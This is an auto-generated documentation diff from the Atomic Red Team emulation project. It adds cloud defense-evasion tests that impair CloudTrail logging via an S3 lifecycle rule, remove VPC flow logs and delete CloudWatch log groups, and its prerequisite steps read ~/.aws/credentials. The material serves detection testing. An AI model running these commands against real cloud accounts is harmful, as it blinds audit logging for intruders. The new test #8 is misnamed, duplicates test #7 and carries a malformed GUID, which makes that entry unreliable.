Generated docs from job=generate-docs branch=master [ci skip]
This commit is contained in:
Atomic Red Team doc generator
@@ -355,12 +355,15 @@ defense-evasion,T1197,BITS Jobs,3,"Persist, Download, & Execute",62a06ec5-5754-4
|
||||
defense-evasion,T1197,BITS Jobs,4,Bits download using desktopimgdownldr.exe (cmd),afb5e09e-e385-4dee-9a94-6ee60979d114,command_prompt
|
||||
defense-evasion,T1127.001,MSBuild,1,MSBuild Bypass Using Inline Tasks (C#),58742c0f-cb01-44cd-a60b-fb26e8871c93,command_prompt
|
||||
defense-evasion,T1127.001,MSBuild,2,MSBuild Bypass Using Inline Tasks (VB),ab042179-c0c5-402f-9bc8-42741f5ce359,command_prompt
|
||||
defense-evasion,T1562.008,Disable Cloud Logs,1,AWS CloudTrail Changes,9c10dc6b-20bd-403a-8e67-50ef7d07ed4e,sh
|
||||
defense-evasion,T1562.008,Disable Cloud Logs,1,AWS - CloudTrail Changes,9c10dc6b-20bd-403a-8e67-50ef7d07ed4e,sh
|
||||
defense-evasion,T1562.008,Disable Cloud Logs,2,Azure - Eventhub Deletion,5e09bed0-7d33-453b-9bf3-caea32bff719,powershell
|
||||
defense-evasion,T1562.008,Disable Cloud Logs,3,Office 365 - Exchange Audit Log Disabled,1ee572f3-056c-4632-a7fc-7e7c42b1543c,powershell
|
||||
defense-evasion,T1562.008,Disable Cloud Logs,4,Disable CloudTrail Logging Through Event Selectors via Stratus,a27418de-bdce-4ebd-b655-38f11142bf0c,sh
|
||||
defense-evasion,T1562.008,Disable Cloud Logs,5,AWS CloudWatch Log Group Deletes,89422c87-b57b-4a04-a8ca-802bb9d06121,sh
|
||||
defense-evasion,T1562.008,Disable Cloud Logs,6,AWS CloudWatch Log Stream Deletes,33ca84bc-4259-4943-bd36-4655dc420932,sh
|
||||
defense-evasion,T1562.008,Disable Cloud Logs,4,AWS - Disable CloudTrail Logging Through Event Selectors using Stratus,a27418de-bdce-4ebd-b655-38f11142bf0c,sh
|
||||
defense-evasion,T1562.008,Disable Cloud Logs,5,AWS - CloudTrail Logs Impairment Through S3 Lifecycle Rule using Stratus,22d89a2f-d475-4895-b2d4-68626d49c029,sh
|
||||
defense-evasion,T1562.008,Disable Cloud Logs,6,AWS - Remove VPC Flow Logs using Stratus,93c150f5-ad7b-4ee3-8992-df06dec2ac79,sh
|
||||
defense-evasion,T1562.008,Disable Cloud Logs,7,AWS - CloudWatch Log Group Deletes,89422c87-b57b-4a04-a8ca-802bb9d06121,sh
|
||||
defense-evasion,T1562.008,Disable Cloud Logs,8,AWS - CloudWatch Log Stream Deletes,89422c87-b57b-4a04-a12a-802bb11d06121,sh
|
||||
defense-evasion,T1562.008,Disable Cloud Logs,9,AWS CloudWatch Log Stream Deletes,33ca84bc-4259-4943-bd36-4655dc420932,sh
|
||||
defense-evasion,T1564.003,Hidden Window,1,Hidden Window,f151ee37-9e2b-47e6-80e4-550b9f999b7a,powershell
|
||||
defense-evasion,T1070.004,File Deletion,1,Delete a single file - Linux/macOS,562d737f-2fc6-4b09-8c2a-7f8ff0828480,sh
|
||||
defense-evasion,T1070.004,File Deletion,2,Delete an entire folder - Linux/macOS,a415f17e-ce8d-4ce2-a8b4-83b674e7017e,sh
|
||||
|
||||
|
@@ -73,12 +73,15 @@ defense-evasion,T1553.004,Install Root Certificate,2,Install root CA on Debian/U
|
||||
defense-evasion,T1027.004,Compile After Delivery,3,C compile,d0377aa6-850a-42b2-95f0-de558d80be57,bash
|
||||
defense-evasion,T1027.004,Compile After Delivery,4,CC compile,da97bb11-d6d0-4fc1-b445-e443d1346efe,bash
|
||||
defense-evasion,T1027.004,Compile After Delivery,5,Go compile,78bd3fa7-773c-449e-a978-dc1f1500bc52,bash
|
||||
defense-evasion,T1562.008,Disable Cloud Logs,1,AWS CloudTrail Changes,9c10dc6b-20bd-403a-8e67-50ef7d07ed4e,sh
|
||||
defense-evasion,T1562.008,Disable Cloud Logs,1,AWS - CloudTrail Changes,9c10dc6b-20bd-403a-8e67-50ef7d07ed4e,sh
|
||||
defense-evasion,T1562.008,Disable Cloud Logs,2,Azure - Eventhub Deletion,5e09bed0-7d33-453b-9bf3-caea32bff719,powershell
|
||||
defense-evasion,T1562.008,Disable Cloud Logs,3,Office 365 - Exchange Audit Log Disabled,1ee572f3-056c-4632-a7fc-7e7c42b1543c,powershell
|
||||
defense-evasion,T1562.008,Disable Cloud Logs,4,Disable CloudTrail Logging Through Event Selectors via Stratus,a27418de-bdce-4ebd-b655-38f11142bf0c,sh
|
||||
defense-evasion,T1562.008,Disable Cloud Logs,5,AWS CloudWatch Log Group Deletes,89422c87-b57b-4a04-a8ca-802bb9d06121,sh
|
||||
defense-evasion,T1562.008,Disable Cloud Logs,6,AWS CloudWatch Log Stream Deletes,33ca84bc-4259-4943-bd36-4655dc420932,sh
|
||||
defense-evasion,T1562.008,Disable Cloud Logs,4,AWS - Disable CloudTrail Logging Through Event Selectors using Stratus,a27418de-bdce-4ebd-b655-38f11142bf0c,sh
|
||||
defense-evasion,T1562.008,Disable Cloud Logs,5,AWS - CloudTrail Logs Impairment Through S3 Lifecycle Rule using Stratus,22d89a2f-d475-4895-b2d4-68626d49c029,sh
|
||||
defense-evasion,T1562.008,Disable Cloud Logs,6,AWS - Remove VPC Flow Logs using Stratus,93c150f5-ad7b-4ee3-8992-df06dec2ac79,sh
|
||||
defense-evasion,T1562.008,Disable Cloud Logs,7,AWS - CloudWatch Log Group Deletes,89422c87-b57b-4a04-a8ca-802bb9d06121,sh
|
||||
defense-evasion,T1562.008,Disable Cloud Logs,8,AWS - CloudWatch Log Stream Deletes,89422c87-b57b-4a04-a12a-802bb11d06121,sh
|
||||
defense-evasion,T1562.008,Disable Cloud Logs,9,AWS CloudWatch Log Stream Deletes,33ca84bc-4259-4943-bd36-4655dc420932,sh
|
||||
defense-evasion,T1070.004,File Deletion,1,Delete a single file - Linux/macOS,562d737f-2fc6-4b09-8c2a-7f8ff0828480,sh
|
||||
defense-evasion,T1070.004,File Deletion,2,Delete an entire folder - Linux/macOS,a415f17e-ce8d-4ce2-a8b4-83b674e7017e,sh
|
||||
defense-evasion,T1070.004,File Deletion,3,Overwrite and delete a file with shred,039b4b10-2900-404b-b67f-4b6d49aa6499,sh
|
||||
|
||||
|
@@ -523,12 +523,15 @@
|
||||
- Atomic Test #2: MSBuild Bypass Using Inline Tasks (VB) [windows]
|
||||
- T1088 Bypass User Account Control [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
- [T1562.008 Disable Cloud Logs](../../T1562.008/T1562.008.md)
|
||||
- Atomic Test #1: AWS CloudTrail Changes [iaas:aws]
|
||||
- Atomic Test #1: AWS - CloudTrail Changes [iaas:aws]
|
||||
- Atomic Test #2: Azure - Eventhub Deletion [iaas:azure]
|
||||
- Atomic Test #3: Office 365 - Exchange Audit Log Disabled [office-365]
|
||||
- Atomic Test #4: Disable CloudTrail Logging Through Event Selectors via Stratus [linux, macos]
|
||||
- Atomic Test #5: AWS CloudWatch Log Group Deletes [iaas:aws]
|
||||
- Atomic Test #6: AWS CloudWatch Log Stream Deletes [iaas:aws]
|
||||
- Atomic Test #4: AWS - Disable CloudTrail Logging Through Event Selectors using Stratus [linux, macos]
|
||||
- Atomic Test #5: AWS - CloudTrail Logs Impairment Through S3 Lifecycle Rule using Stratus [linux, macos]
|
||||
- Atomic Test #6: AWS - Remove VPC Flow Logs using Stratus [linux, macos]
|
||||
- Atomic Test #7: AWS - CloudWatch Log Group Deletes [iaas:aws]
|
||||
- Atomic Test #8: AWS - CloudWatch Log Stream Deletes [iaas:aws]
|
||||
- Atomic Test #9: AWS CloudWatch Log Stream Deletes [iaas:aws]
|
||||
- [T1564.003 Hidden Window](../../T1564.003/T1564.003.md)
|
||||
- Atomic Test #1: Hidden Window [windows]
|
||||
- T1147 Hidden Users [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
|
||||
@@ -158,12 +158,15 @@
|
||||
- Atomic Test #5: Go compile [linux, macos]
|
||||
- T1564.007 VBA Stomping [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
- [T1562.008 Disable Cloud Logs](../../T1562.008/T1562.008.md)
|
||||
- Atomic Test #1: AWS CloudTrail Changes [iaas:aws]
|
||||
- Atomic Test #1: AWS - CloudTrail Changes [iaas:aws]
|
||||
- Atomic Test #2: Azure - Eventhub Deletion [iaas:azure]
|
||||
- Atomic Test #3: Office 365 - Exchange Audit Log Disabled [office-365]
|
||||
- Atomic Test #4: Disable CloudTrail Logging Through Event Selectors via Stratus [linux, macos]
|
||||
- Atomic Test #5: AWS CloudWatch Log Group Deletes [iaas:aws]
|
||||
- Atomic Test #6: AWS CloudWatch Log Stream Deletes [iaas:aws]
|
||||
- Atomic Test #4: AWS - Disable CloudTrail Logging Through Event Selectors using Stratus [linux, macos]
|
||||
- Atomic Test #5: AWS - CloudTrail Logs Impairment Through S3 Lifecycle Rule using Stratus [linux, macos]
|
||||
- Atomic Test #6: AWS - Remove VPC Flow Logs using Stratus [linux, macos]
|
||||
- Atomic Test #7: AWS - CloudWatch Log Group Deletes [iaas:aws]
|
||||
- Atomic Test #8: AWS - CloudWatch Log Stream Deletes [iaas:aws]
|
||||
- Atomic Test #9: AWS CloudWatch Log Stream Deletes [iaas:aws]
|
||||
- T1564.003 Hidden Window [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
- T1578.002 Create Cloud Instance [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
- T1500 Compile After Delivery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
|
||||
+170
-6
@@ -21330,7 +21330,7 @@ defense-evasion:
|
||||
- User
|
||||
identifier: T1562.008
|
||||
atomic_tests:
|
||||
- name: AWS CloudTrail Changes
|
||||
- name: AWS - CloudTrail Changes
|
||||
auto_generated_guid: 9c10dc6b-20bd-403a-8e67-50ef7d07ed4e
|
||||
description: 'Creates a new cloudTrail in AWS, Upon successful creation it will
|
||||
Update,Stop and Delete the cloudTrail
|
||||
@@ -21464,13 +21464,13 @@ defense-evasion:
|
||||
Set-AdminAuditLogConfig -UnifiedAuditLogIngestionEnabled $True
|
||||
name: powershell
|
||||
elevation_required: false
|
||||
- name: Disable CloudTrail Logging Through Event Selectors via Stratus
|
||||
- name: AWS - Disable CloudTrail Logging Through Event Selectors using Stratus
|
||||
auto_generated_guid: a27418de-bdce-4ebd-b655-38f11142bf0c
|
||||
description: 'Update event selectors in AWS CloudTrail to disable the logging
|
||||
of certain management events to evade defense. This atomic test leverages
|
||||
a tool called stratus-red-team built by DataDog (https://github.com/DataDog/stratus-red-team).
|
||||
of certain management events to evade defense. This Atomic test leverages
|
||||
a tool called Stratus-Red-Team built by DataDog (https://github.com/DataDog/stratus-red-team).
|
||||
Stratus Red Team is a self-contained binary. You can use it to easily detonate
|
||||
offensive attack techniques against a live cloud environment.
|
||||
offensive attack techniques against a live cloud environment. Ref: https://stratus-red-team.cloud/attack-techniques/AWS/aws.defense-evasion.cloudtrail-event-selectors/
|
||||
|
||||
'
|
||||
supported_platforms:
|
||||
@@ -21524,9 +21524,136 @@ defense-evasion:
|
||||
echo "Cleanup detonation"
|
||||
cd #{stratus_path}
|
||||
./stratus cleanup --all
|
||||
rm -rf stratus*
|
||||
name: sh
|
||||
elevation_required: false
|
||||
- name: AWS CloudWatch Log Group Deletes
|
||||
- name: AWS - CloudTrail Logs Impairment Through S3 Lifecycle Rule using Stratus
|
||||
auto_generated_guid: 22d89a2f-d475-4895-b2d4-68626d49c029
|
||||
description: 'This Atomic test will use the Stratus Red Team will first setup
|
||||
a CloudTrail logging into an S3 bucket and will then make an API call to update
|
||||
the lifecycle rule on that S3 bucket with an expiration date of 1 day. This
|
||||
will essentially delete all the logs after one day. Adversaries often do this
|
||||
actiivity to evade detection. Stratus Red Team is a self-contained binary.
|
||||
You can use it to easily detonate offensive attack techniques against a live
|
||||
cloud environment. ref: https://stratus-red-team.cloud/attack-techniques/AWS/aws.defense-evasion.cloudtrail-lifecycle-rule/
|
||||
|
||||
'
|
||||
supported_platforms:
|
||||
- linux
|
||||
- macos
|
||||
input_arguments:
|
||||
stratus_path:
|
||||
description: Path of stratus binary
|
||||
type: Path
|
||||
default: "$PathToAtomicsFolder/T1562.008/src"
|
||||
aws_region:
|
||||
description: AWS region to detonate
|
||||
type: String
|
||||
default: us-west-2
|
||||
dependency_executor_name: sh
|
||||
dependencies:
|
||||
- description: 'Stratus binary must be present at the (#{stratus_path}/stratus)
|
||||
|
||||
'
|
||||
prereq_command: 'if [ -f #{stratus_path}/stratus ]; then exit 0; else exit
|
||||
1; fi;
|
||||
|
||||
'
|
||||
get_prereq_command: "if [ \"$(uname)\" == \"Darwin\" ]\nthen DOWNLOAD_URL=$(curl
|
||||
-s https://api.github.com/repos/DataDog/stratus-red-team/releases/latest
|
||||
| grep browser_download_url | grep Darwin_x86_64 | cut -d '\"' -f 4); wget
|
||||
-q -O #{stratus_path}/stratus-red-team-latest.tar.gz $DOWNLOAD_URL\n tar
|
||||
-xzvf #{stratus_path}/stratus-red-team-latest.tar.gz --directory #{stratus_path}/\nelif
|
||||
[ \"$(expr substr $(uname) 1 5)\" == \"Linux\" ]\nthen DOWNLOAD_URL=$(curl
|
||||
-s https://api.github.com/repos/DataDog/stratus-red-team/releases/latest
|
||||
| grep browser_download_url | grep linux_x86_64 | cut -d '\"' -f 4) \n wget
|
||||
-q -O #{stratus_path}/stratus-red-team-latest.tar.gz $DOWNLOAD_URL\n tar
|
||||
-xzvf #{stratus_path}/stratus-red-team-latest.tar.gz --directory #{stratus_path}/\nfi\n"
|
||||
- description: 'Check if ~/.aws/credentials file has a default stanza is configured
|
||||
|
||||
'
|
||||
prereq_command: 'cat ~/.aws/credentials | grep "default"
|
||||
|
||||
'
|
||||
get_prereq_command: 'echo Please install the aws-cli and configure your AWS
|
||||
defult profile using: aws configure
|
||||
|
||||
'
|
||||
executor:
|
||||
command: "export AWS_REGION=#{aws_region} \ncd #{stratus_path}\necho \"starting
|
||||
warmup\"\n./stratus warmup aws.defense-evasion.cloudtrail-lifecycle-rule\necho
|
||||
\"starting detonate\"\n./stratus detonate aws.defense-evasion.cloudtrail-lifecycle-rule
|
||||
--force\n"
|
||||
cleanup_command: |
|
||||
export AWS_REGION=#{aws_region}
|
||||
echo "Cleanup detonation"
|
||||
cd #{stratus_path}
|
||||
./stratus cleanup --all
|
||||
rm -rf stratus*
|
||||
name: sh
|
||||
elevation_required: false
|
||||
- name: AWS - Remove VPC Flow Logs using Stratus
|
||||
auto_generated_guid: 93c150f5-ad7b-4ee3-8992-df06dec2ac79
|
||||
description: 'This Atomic will attempt to remove AWS VPC Flow Logs configuration.
|
||||
Stratus Red Team is a self-contained binary. You can use it to easily detonate
|
||||
offensive attack techniques against a live cloud environment. Ref: https://stratus-red-team.cloud/attack-techniques/AWS/aws.defense-evasion.vpc-remove-flow-logs/
|
||||
|
||||
'
|
||||
supported_platforms:
|
||||
- linux
|
||||
- macos
|
||||
input_arguments:
|
||||
stratus_path:
|
||||
description: Path of stratus binary
|
||||
type: Path
|
||||
default: "$PathToAtomicsFolder/T1562.008/src"
|
||||
aws_region:
|
||||
description: AWS region to detonate
|
||||
type: String
|
||||
default: us-west-2
|
||||
dependency_executor_name: sh
|
||||
dependencies:
|
||||
- description: 'Stratus binary must be present at the (#{stratus_path}/stratus)
|
||||
|
||||
'
|
||||
prereq_command: 'if [ -f #{stratus_path}/stratus ]; then exit 0; else exit
|
||||
1; fi;
|
||||
|
||||
'
|
||||
get_prereq_command: "if [ \"$(uname)\" == \"Darwin\" ]\nthen DOWNLOAD_URL=$(curl
|
||||
-s https://api.github.com/repos/DataDog/stratus-red-team/releases/latest
|
||||
| grep browser_download_url | grep Darwin_x86_64 | cut -d '\"' -f 4); wget
|
||||
-q -O #{stratus_path}/stratus-red-team-latest.tar.gz $DOWNLOAD_URL\n tar
|
||||
-xzvf #{stratus_path}/stratus-red-team-latest.tar.gz --directory #{stratus_path}/\nelif
|
||||
[ \"$(expr substr $(uname) 1 5)\" == \"Linux\" ]\nthen DOWNLOAD_URL=$(curl
|
||||
-s https://api.github.com/repos/DataDog/stratus-red-team/releases/latest
|
||||
| grep browser_download_url | grep linux_x86_64 | cut -d '\"' -f 4) \n wget
|
||||
-q -O #{stratus_path}/stratus-red-team-latest.tar.gz $DOWNLOAD_URL\n tar
|
||||
-xzvf #{stratus_path}/stratus-red-team-latest.tar.gz --directory #{stratus_path}/\nfi\n"
|
||||
- description: 'Check if ~/.aws/credentials file has a default stanza is configured
|
||||
|
||||
'
|
||||
prereq_command: 'cat ~/.aws/credentials | grep "default"
|
||||
|
||||
'
|
||||
get_prereq_command: 'echo Please install the aws-cli and configure your AWS
|
||||
defult profile using: aws configure
|
||||
|
||||
'
|
||||
executor:
|
||||
command: "export AWS_REGION=#{aws_region} \ncd #{stratus_path}\necho \"starting
|
||||
warmup\"\n./stratus warmup aws.defense-evasion.vpc-remove-flow-logs\necho
|
||||
\"starting detonate\"\n./stratus detonate aws.defense-evasion.vpc-remove-flow-logs
|
||||
--force\n"
|
||||
cleanup_command: |
|
||||
export AWS_REGION=#{aws_region}
|
||||
echo "Cleanup detonation"
|
||||
cd #{stratus_path}
|
||||
./stratus cleanup --all
|
||||
rm -rf stratus*
|
||||
name: sh
|
||||
elevation_required: false
|
||||
- name: AWS - CloudWatch Log Group Deletes
|
||||
auto_generated_guid: 89422c87-b57b-4a04-a8ca-802bb9d06121
|
||||
description: "Creates a new cloudWatch log group in AWS, Upon successful creation
|
||||
it will Delete the group. Attackers can use this technique to evade defenses
|
||||
@@ -21563,6 +21690,43 @@ defense-evasion:
|
||||
cleanup_command:
|
||||
name: sh
|
||||
elevation_required: false
|
||||
- name: AWS - CloudWatch Log Stream Deletes
|
||||
auto_generated_guid: 89422c87-b57b-4a04-a12a-802bb11d06121
|
||||
description: "Creates a new CloudWatch log group in AWS, Upon successful creation
|
||||
it will Delete the group. Attackers can use this technique to evade defenses
|
||||
by \ndeleting the log stream. Once it is deleted, the logs created by the
|
||||
attackers will not be logged. https://www.elastic.co/guide/en/security/current/aws-cloudwatch-log-group-deletion.html#aws-cloudwatch-log-group-deletion\n"
|
||||
supported_platforms:
|
||||
- iaas:aws
|
||||
input_arguments:
|
||||
cloudwatch_log_group_name:
|
||||
description: Name of the cloudWatch log group
|
||||
type: String
|
||||
default: log-test
|
||||
region:
|
||||
description: Name of the region
|
||||
type: String
|
||||
default: us-east-1
|
||||
dependencies:
|
||||
- description: 'Check if ~/.aws/credentials file has a default stanza is configured
|
||||
|
||||
'
|
||||
prereq_command: 'cat ~/.aws/credentials | grep "default"
|
||||
|
||||
'
|
||||
get_prereq_command: 'echo Please install the aws-cli and configure your AWS
|
||||
defult profile using: aws configure
|
||||
|
||||
'
|
||||
executor:
|
||||
command: |
|
||||
aws logs create-log-group --log-group-name #{cloudwatch_log_group_name} --region #{region} --output json
|
||||
echo "*** Log Group Created ***"
|
||||
aws logs delete-log-group --log-group-name #{cloudwatch_log_group_name} --region #{region} --output json
|
||||
echo "*** Log Group Deleted ***"
|
||||
cleanup_command:
|
||||
name: sh
|
||||
elevation_required: false
|
||||
- name: AWS CloudWatch Log Stream Deletes
|
||||
auto_generated_guid: 33ca84bc-4259-4943-bd36-4655dc420932
|
||||
description: "Creates a new cloudWatch log stream in AWS, Upon successful creation
|
||||
|
||||
@@ -6,22 +6,28 @@ Cloud environments allow for collection and analysis of audit and application lo
|
||||
|
||||
## Atomic Tests
|
||||
|
||||
- [Atomic Test #1 - AWS CloudTrail Changes](#atomic-test-1---aws-cloudtrail-changes)
|
||||
- [Atomic Test #1 - AWS - CloudTrail Changes](#atomic-test-1---aws---cloudtrail-changes)
|
||||
|
||||
- [Atomic Test #2 - Azure - Eventhub Deletion](#atomic-test-2---azure---eventhub-deletion)
|
||||
|
||||
- [Atomic Test #3 - Office 365 - Exchange Audit Log Disabled](#atomic-test-3---office-365---exchange-audit-log-disabled)
|
||||
|
||||
- [Atomic Test #4 - Disable CloudTrail Logging Through Event Selectors via Stratus](#atomic-test-4---disable-cloudtrail-logging-through-event-selectors-via-stratus)
|
||||
- [Atomic Test #4 - AWS - Disable CloudTrail Logging Through Event Selectors using Stratus](#atomic-test-4---aws---disable-cloudtrail-logging-through-event-selectors-using-stratus)
|
||||
|
||||
- [Atomic Test #5 - AWS CloudWatch Log Group Deletes](#atomic-test-5---aws-cloudwatch-log-group-deletes)
|
||||
- [Atomic Test #5 - AWS - CloudTrail Logs Impairment Through S3 Lifecycle Rule using Stratus](#atomic-test-5---aws---cloudtrail-logs-impairment-through-s3-lifecycle-rule-using-stratus)
|
||||
|
||||
- [Atomic Test #6 - AWS CloudWatch Log Stream Deletes](#atomic-test-6---aws-cloudwatch-log-stream-deletes)
|
||||
- [Atomic Test #6 - AWS - Remove VPC Flow Logs using Stratus](#atomic-test-6---aws---remove-vpc-flow-logs-using-stratus)
|
||||
|
||||
- [Atomic Test #7 - AWS - CloudWatch Log Group Deletes](#atomic-test-7---aws---cloudwatch-log-group-deletes)
|
||||
|
||||
- [Atomic Test #8 - AWS - CloudWatch Log Stream Deletes](#atomic-test-8---aws---cloudwatch-log-stream-deletes)
|
||||
|
||||
- [Atomic Test #9 - AWS CloudWatch Log Stream Deletes](#atomic-test-9---aws-cloudwatch-log-stream-deletes)
|
||||
|
||||
|
||||
<br/>
|
||||
|
||||
## Atomic Test #1 - AWS CloudTrail Changes
|
||||
## Atomic Test #1 - AWS - CloudTrail Changes
|
||||
Creates a new cloudTrail in AWS, Upon successful creation it will Update,Stop and Delete the cloudTrail
|
||||
|
||||
**Supported Platforms:** Iaas:aws
|
||||
@@ -194,8 +200,8 @@ Import-Module ExchangeOnlineManagement
|
||||
<br/>
|
||||
<br/>
|
||||
|
||||
## Atomic Test #4 - Disable CloudTrail Logging Through Event Selectors via Stratus
|
||||
Update event selectors in AWS CloudTrail to disable the logging of certain management events to evade defense. This atomic test leverages a tool called stratus-red-team built by DataDog (https://github.com/DataDog/stratus-red-team). Stratus Red Team is a self-contained binary. You can use it to easily detonate offensive attack techniques against a live cloud environment.
|
||||
## Atomic Test #4 - AWS - Disable CloudTrail Logging Through Event Selectors using Stratus
|
||||
Update event selectors in AWS CloudTrail to disable the logging of certain management events to evade defense. This Atomic test leverages a tool called Stratus-Red-Team built by DataDog (https://github.com/DataDog/stratus-red-team). Stratus Red Team is a self-contained binary. You can use it to easily detonate offensive attack techniques against a live cloud environment. Ref: https://stratus-red-team.cloud/attack-techniques/AWS/aws.defense-evasion.cloudtrail-event-selectors/
|
||||
|
||||
**Supported Platforms:** Linux, macOS
|
||||
|
||||
@@ -231,6 +237,7 @@ export AWS_REGION=#{aws_region}
|
||||
echo "Cleanup detonation"
|
||||
cd #{stratus_path}
|
||||
./stratus cleanup --all
|
||||
rm -rf stratus*
|
||||
```
|
||||
|
||||
|
||||
@@ -268,7 +275,157 @@ echo Please install the aws-cli and configure your AWS defult profile using: aws
|
||||
<br/>
|
||||
<br/>
|
||||
|
||||
## Atomic Test #5 - AWS CloudWatch Log Group Deletes
|
||||
## Atomic Test #5 - AWS - CloudTrail Logs Impairment Through S3 Lifecycle Rule using Stratus
|
||||
This Atomic test will use the Stratus Red Team will first setup a CloudTrail logging into an S3 bucket and will then make an API call to update the lifecycle rule on that S3 bucket with an expiration date of 1 day. This will essentially delete all the logs after one day. Adversaries often do this actiivity to evade detection. Stratus Red Team is a self-contained binary. You can use it to easily detonate offensive attack techniques against a live cloud environment. ref: https://stratus-red-team.cloud/attack-techniques/AWS/aws.defense-evasion.cloudtrail-lifecycle-rule/
|
||||
|
||||
**Supported Platforms:** Linux, macOS
|
||||
|
||||
|
||||
**auto_generated_guid:** 22d89a2f-d475-4895-b2d4-68626d49c029
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
#### Inputs:
|
||||
| Name | Description | Type | Default Value |
|
||||
|------|-------------|------|---------------|
|
||||
| stratus_path | Path of stratus binary | Path | $PathToAtomicsFolder/T1562.008/src|
|
||||
| aws_region | AWS region to detonate | String | us-west-2|
|
||||
|
||||
|
||||
#### Attack Commands: Run with `sh`!
|
||||
|
||||
|
||||
```sh
|
||||
export AWS_REGION=#{aws_region}
|
||||
cd #{stratus_path}
|
||||
echo "starting warmup"
|
||||
./stratus warmup aws.defense-evasion.cloudtrail-lifecycle-rule
|
||||
echo "starting detonate"
|
||||
./stratus detonate aws.defense-evasion.cloudtrail-lifecycle-rule --force
|
||||
```
|
||||
|
||||
#### Cleanup Commands:
|
||||
```sh
|
||||
export AWS_REGION=#{aws_region}
|
||||
echo "Cleanup detonation"
|
||||
cd #{stratus_path}
|
||||
./stratus cleanup --all
|
||||
rm -rf stratus*
|
||||
```
|
||||
|
||||
|
||||
|
||||
#### Dependencies: Run with `sh`!
|
||||
##### Description: Stratus binary must be present at the (#{stratus_path}/stratus)
|
||||
##### Check Prereq Commands:
|
||||
```sh
|
||||
if [ -f #{stratus_path}/stratus ]; then exit 0; else exit 1; fi;
|
||||
```
|
||||
##### Get Prereq Commands:
|
||||
```sh
|
||||
if [ "$(uname)" == "Darwin" ]
|
||||
then DOWNLOAD_URL=$(curl -s https://api.github.com/repos/DataDog/stratus-red-team/releases/latest | grep browser_download_url | grep Darwin_x86_64 | cut -d '"' -f 4); wget -q -O #{stratus_path}/stratus-red-team-latest.tar.gz $DOWNLOAD_URL
|
||||
tar -xzvf #{stratus_path}/stratus-red-team-latest.tar.gz --directory #{stratus_path}/
|
||||
elif [ "$(expr substr $(uname) 1 5)" == "Linux" ]
|
||||
then DOWNLOAD_URL=$(curl -s https://api.github.com/repos/DataDog/stratus-red-team/releases/latest | grep browser_download_url | grep linux_x86_64 | cut -d '"' -f 4)
|
||||
wget -q -O #{stratus_path}/stratus-red-team-latest.tar.gz $DOWNLOAD_URL
|
||||
tar -xzvf #{stratus_path}/stratus-red-team-latest.tar.gz --directory #{stratus_path}/
|
||||
fi
|
||||
```
|
||||
##### Description: Check if ~/.aws/credentials file has a default stanza is configured
|
||||
##### Check Prereq Commands:
|
||||
```sh
|
||||
cat ~/.aws/credentials | grep "default"
|
||||
```
|
||||
##### Get Prereq Commands:
|
||||
```sh
|
||||
echo Please install the aws-cli and configure your AWS defult profile using: aws configure
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
<br/>
|
||||
<br/>
|
||||
|
||||
## Atomic Test #6 - AWS - Remove VPC Flow Logs using Stratus
|
||||
This Atomic will attempt to remove AWS VPC Flow Logs configuration. Stratus Red Team is a self-contained binary. You can use it to easily detonate offensive attack techniques against a live cloud environment. Ref: https://stratus-red-team.cloud/attack-techniques/AWS/aws.defense-evasion.vpc-remove-flow-logs/
|
||||
|
||||
**Supported Platforms:** Linux, macOS
|
||||
|
||||
|
||||
**auto_generated_guid:** 93c150f5-ad7b-4ee3-8992-df06dec2ac79
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
#### Inputs:
|
||||
| Name | Description | Type | Default Value |
|
||||
|------|-------------|------|---------------|
|
||||
| stratus_path | Path of stratus binary | Path | $PathToAtomicsFolder/T1562.008/src|
|
||||
| aws_region | AWS region to detonate | String | us-west-2|
|
||||
|
||||
|
||||
#### Attack Commands: Run with `sh`!
|
||||
|
||||
|
||||
```sh
|
||||
export AWS_REGION=#{aws_region}
|
||||
cd #{stratus_path}
|
||||
echo "starting warmup"
|
||||
./stratus warmup aws.defense-evasion.vpc-remove-flow-logs
|
||||
echo "starting detonate"
|
||||
./stratus detonate aws.defense-evasion.vpc-remove-flow-logs --force
|
||||
```
|
||||
|
||||
#### Cleanup Commands:
|
||||
```sh
|
||||
export AWS_REGION=#{aws_region}
|
||||
echo "Cleanup detonation"
|
||||
cd #{stratus_path}
|
||||
./stratus cleanup --all
|
||||
rm -rf stratus*
|
||||
```
|
||||
|
||||
|
||||
|
||||
#### Dependencies: Run with `sh`!
|
||||
##### Description: Stratus binary must be present at the (#{stratus_path}/stratus)
|
||||
##### Check Prereq Commands:
|
||||
```sh
|
||||
if [ -f #{stratus_path}/stratus ]; then exit 0; else exit 1; fi;
|
||||
```
|
||||
##### Get Prereq Commands:
|
||||
```sh
|
||||
if [ "$(uname)" == "Darwin" ]
|
||||
then DOWNLOAD_URL=$(curl -s https://api.github.com/repos/DataDog/stratus-red-team/releases/latest | grep browser_download_url | grep Darwin_x86_64 | cut -d '"' -f 4); wget -q -O #{stratus_path}/stratus-red-team-latest.tar.gz $DOWNLOAD_URL
|
||||
tar -xzvf #{stratus_path}/stratus-red-team-latest.tar.gz --directory #{stratus_path}/
|
||||
elif [ "$(expr substr $(uname) 1 5)" == "Linux" ]
|
||||
then DOWNLOAD_URL=$(curl -s https://api.github.com/repos/DataDog/stratus-red-team/releases/latest | grep browser_download_url | grep linux_x86_64 | cut -d '"' -f 4)
|
||||
wget -q -O #{stratus_path}/stratus-red-team-latest.tar.gz $DOWNLOAD_URL
|
||||
tar -xzvf #{stratus_path}/stratus-red-team-latest.tar.gz --directory #{stratus_path}/
|
||||
fi
|
||||
```
|
||||
##### Description: Check if ~/.aws/credentials file has a default stanza is configured
|
||||
##### Check Prereq Commands:
|
||||
```sh
|
||||
cat ~/.aws/credentials | grep "default"
|
||||
```
|
||||
##### Get Prereq Commands:
|
||||
```sh
|
||||
echo Please install the aws-cli and configure your AWS defult profile using: aws configure
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
<br/>
|
||||
<br/>
|
||||
|
||||
